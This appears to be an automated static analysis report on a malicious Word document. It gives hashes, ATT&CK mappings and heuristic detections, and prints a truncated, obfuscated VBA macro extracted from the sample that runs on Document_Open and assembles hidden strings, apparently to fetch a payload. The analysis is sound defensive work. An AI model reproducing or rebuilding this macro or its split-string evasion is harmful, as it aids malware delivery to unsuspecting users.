Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57a409fb547b9973…

MALICIOUS

Office (OLE)

69.9 KB Created: 2019-12-12 22:12:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 667eedde927100837b25160d11204041 SHA-1: 4663052f3b24c5d1e759a4ecba8a7d30615da9dd SHA-256: 57a409fb547b99736963c92695f5f17c449372a2130d476b8f7e86559cd77646
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The critical heuristic 'OLE_VBA_SPLIT_KEYWORD_OBFUSCATION' indicates that a dangerous API name, 'winmgmts', was reassembled from split string literals, suggesting an attempt to evade detection. The presence of a downloader heuristic and the overall structure strongly suggest this document is designed to fetch and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7450222-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7450222-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8821 bytes
SHA-256: 6729fc00c8eab85d55821735a1ba57f0ba1336588888a836803111a6f7f2c63b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pvgunbtuci"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Xcjexgswkuyr, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Kipxwxyoms
         Case Xbzrvmkyryd
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Dlbnhowskl)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Emaehrmap
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Ozwwzgumegns)
End Select
   Select Case Fuhzftez
         Case Twvtxmjnn
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Fstyhmflruijk)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Aksxgpbxbqh
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Arfyaeacna)
End Select
   Select Case Widcdkqgrqw
         Case Yomqatbnp
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Jupoyuowzn)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Vyzubkhzdagiu
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Djrchhstju)
End Select
Yftkvtrkwiz
End Sub

Attribute VB_Name = "Hqmmnmulg"
Attribute VB_Base = "0{42A26798-B370-4406-BEA3-E619CD9E3CF6}{2C76240B-0F89-4184-B23C-854AA39A3581}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Waafqzyrjky"
Function Ubvbzxwkkql()
   Select Case Phdskylqtunq
         Case Eslhxfsfsloac
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Dwvsnylixw)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Ytpllebakvs
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Bjprdkwkhp)
End Select
Swpbvvoxo = Pvgunbtuci.Xcjexgswkuyr
   Select Case Iwvbvzvkhokj
         Case Ozjipyskf
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Dsrntyzdy)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Qgvzbiqnlc
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Cjpmjezxqwxrg)
End Select
Njzvqyppdvny = Swpbvvoxo + Hqmmnmulg.Bikrocwwbxyh + Hqmmnmulg.Vbwdbrtdh + Hqmmnmulg.Mimvysqnb
   Select Case Lnffkttteoyas
         Case Pwislcvpkgx
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Qzowujdhero)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Cjqpfxrbyzkrh
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Xuzmdcceabg)
End Select
Nzsabfjv = Njzvqyppdvny + Hqmmnmulg.Mjkvqfyl + Hqmmnmulg.Zxdtohfzcoeq.ControlTipText
   Select Case Tjljrpvjpzvr
         Case Otmgzqdwvqty
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Pfyhtaalnrv)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Hkimoupbesz
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Pxnvqtogtk)
End Select
Ubvbzxwkkql = Bsdvfezppu + Nzsabfjv + Bsdvfezppu
   Select Case Njsgceeavet
   
... (truncated)

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